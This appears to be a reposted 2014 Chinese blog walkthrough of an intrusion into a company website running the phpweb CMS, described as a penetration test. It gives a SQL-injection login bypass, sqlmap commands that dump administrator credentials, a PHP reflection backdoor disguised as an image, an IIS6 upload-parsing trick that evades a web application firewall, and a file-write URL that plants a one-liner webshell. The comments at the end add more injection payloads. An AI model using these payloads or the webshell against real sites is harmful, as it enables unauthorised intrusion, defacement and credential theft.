A-A+

对XX科技有限公司的一次渗透测试

2014年09月30日 09:35 汪洋大海 评论 2 条 阅读 705 views 次

文章来源法克,作者:呆呆的骗子大婶

直接操御剑扫敏感目录,根据敏感文件可以确认就是phpweb的cms。

phpweb 注入点一:
admin.php后台验证文件post.php存在验证漏洞,可以注入数据库而绕过后台登陆验证进入后台,后台万能密码:admin' or '1'='1(账号与密码相同)这里直接打开后台页面尝试万能密码登录,居然没报错也没有绕过验证,如图:

phpweb 注入点

phpweb 注入点

不报错也没有绕过验证的原因是因为 ’ 号在数据库中被闭合了,很多时候要提交一些非法字符来判断SQL查询是否被过滤,这里在后面多加个 ’ 号,在数据库查询语句时找不到与之闭合的 ’ ,即可报错,如图:

非法字符来判断SQL查询

非法字符来判断SQL查询

从图中的报错信息可以发现,在user表单里的数据被带入数据库查询,SQL语句为:select * from 866_base_admin where user='admin' or '1'='1' ',最后的 ’ 当然是无法被闭合的了,在报错注入中,诸如像%、’这类的特殊符号只要代码没过滤都是会报错回显的,如图:

报错注入

报错注入

从报错来看我们知道了SQL查询语句,当条件为真时即绕过了登陆界面,并且SQL语句里#是注释的作用。因此我们可以提交’ or 1=1 #。这样查询条件为真,不管后面还有什么条件都被注释掉了,即可直接绕过后台登陆验证。

这里不嫌麻烦的话可以手工一个一个内容的去爆数据,用工具当然是可以的,直接提交POST请求给工具进行检测,我建议POST注入方式的话用胡萝卜或SQLMAP,这俩工具是比较强大的,我用kail下的SQLMAP,前几天就有人在问POST注入点怎么用SQLMAP注入法?
下面就来科普一下吧,打开后台登陆页面admin.php,在账号表单处随意输入内容,密码也随意,再打开当前浏览器的本地代理和Burp Suite,默认端口为8080,再点击“管理员登录”截取当前发送出去的数据包,如图:

POST注入点用SQLMAP注入法

POST注入点用SQLMAP注入法

在Burp Suite里抓取到的数据被称为POST数据包,把里面的数据复制到一个txt文件中,如图:

Burp Suite抓取POST数据包

Burp Suite抓取POST数据包

保存为pentest.txt,再放到kail里的相应目录里面。

一个强大的注入工具光有GET注入当然是不行的,SQLMAP是集合了GET、POST、cookie注入于一体的自动化注入工具,在使用工具前大家不妨去试着自己手工注入一下,这样掌握的不仅仅是渗透技术。

在kail里打开SQLMAP,输入如下命令开始爆库:
sqlmap -r /root/Desktop/cookie/pentest.txt -v 1 --dbs

回车后会有一些提示,都直接yes下去,当SQLMAP检测到user表单存在SQL注入漏洞时会显示深绿色的MySQL大致版本号,如图:

SQLMAP检测user表单

SQLMAP检测user表单

最后确认user表单存在注入漏洞后,提示你是否对其他表单参数进行注入,如图:

user表单注入漏洞

user表单注入漏洞

这里既然有了user表单,就没必要测试其他参数了,输入N后读出数据库和服务器环境,如图:

读出数据库和服务器环境

读出数据库和服务器环境

好吧,OK,就科普到这了,后面的一笔带过,会SQLMAP的都懂的,发现当前权限很低,不过有information_schema库,这样至少不用去猜数据表了:
sqlmap -r /root/Desktop/cookie/pentest.txt -v 1 --tables-D “a0430130759”

爆数据表
这里查询到a0430130759数据库的管理员表名为866_base_admin
爆表的列名
sqlmap -r /root/Desktop/cookie/pentest.txt -v 1 --columns-T “866_base_admin” -D “a0430130759”

列名如图所示:

sqlmap 爆列名

sqlmap 爆列名

直接从中筛选出user、password来爆字段内容:
sqlmap -r /root/Desktop/cookie/pentest.txt -v 1 --dump-C “user,password” -T “xx_base_admin” -D “a0430130759”

结果如图:

sqlmap user、password爆字段内容

sqlmap user、password爆字段内容

---------------好了已完结 接下来提权---------------------

解出MD5后,直接登陆后台,如图所示。进入后台后,应该没啥说的了,都是那老套路,直接找到编辑器,打开图片上传,如图所示:

后台编辑器

后台编辑器

同样,打开Burp suite,开启本地代理,点击“浏览”在本地寻找一个PHP图片木马(后缀必须是jpg、gif等图片后缀),我的木马代码为:

1
<!--?php $func = new ReflectionFunction($_GET[m]); echo $func--->invokeArgs(array($_GET[c],$_GET[id]));?>

这里使用了PHP反射后门,接着点击“确定”开始截取数据包,如图所示:

截取数据包

截取数据包

在POST数据包中我们看到了attachPath为重命名后的图片文件,这说明程序是在客户端将我们的图片马做了重命名设置,那就好办了,直接修改这个名字再提交就行了,可能大家会想这接把jpg后缀改为php来提交,我试过了,程序在客户端重命名后会在服务器端坐文件验证,所以是无法通过的,如图所示:

jpg后缀改为php

jpg后缀改为php

无法通过

无法通过

由于远程WEB服务器是IIS6.0的,我们尝试利用其解析漏洞再上传,将文件后缀改为php;.jpg,如图所示:

IIS6.0解析漏洞

IIS6.0解析漏洞

Forward后会返回上传成功后文件地址,如图所示:

Forward返回上传成功

Forward返回上传成功

访问之,查看情况,如图所示:

D盾拦截

D盾拦截

域名,直接被D盾拦截,返回上传的地方重新抓包,抓到数据包后,修改重命名文件为hack.php;.jpg,但是要在hack.php后面输入%00,再选中%00按Ctrl+Shift+u来进行urldecode,如图所示:

过D盾拦截

过D盾拦截

发送数据包,回显如图所示:

bp发送数据包

bp发送数据包

直接访问:
http://www.xxxx.com/page/pics/20140813/hack.php?m=file_put_contents&c=../../../test11.php&id=
即可访问成功,作用是在网站根目录下生成PHP一句话木马test11.php,密码为c,如图所示:

PHP一句话木马

PHP一句话木马

用菜刀连接一句话木马,如图所示:

菜刀连接一句话木马

菜刀连接一句话木马

浏览服务器的时候发现是安全模式下的星外,也没多少兴趣去提权服务器了,对网站渗透就到这里吧。在本机对服务器的所有网站进行了大体的扫描,CMS识别,发现大多数PHP网站程序都为老版的phpweb,漏洞问题都是一样的,如图所示:

CMS识别

CMS识别

-------------------------文章END 下方是收集的评论--------------------------------
- -phpweb注入姿势:
1,用havj跑:www.phpweb.com/down/class/index.php?myord=1

2,www.phpweb.com/news/html/?423'and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x27,0x7e,user,0x27,0x7e,password,0x27,0x7e)/**/from/**/pwn_base_admin/**/limit/**/0,1))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)/*.html

3,sqlmap,py -u "www.phpweb.com/page/html/index.php?id=1"

4,sqlmap.py -u "www.phpweb.com/search/index.php?imageField.x=-1138&imageField.y=-319&key=1%27"

5,admin 'or '1'='1
admin 'or '1'='1

标签:

2 条留言  访客:1 条  博主:1 条

  1. IT疯狂女

    亲,友情给你加好了。你有空看下额

    • gdd

      恩恩 看到啦~~ 感谢~

给我留言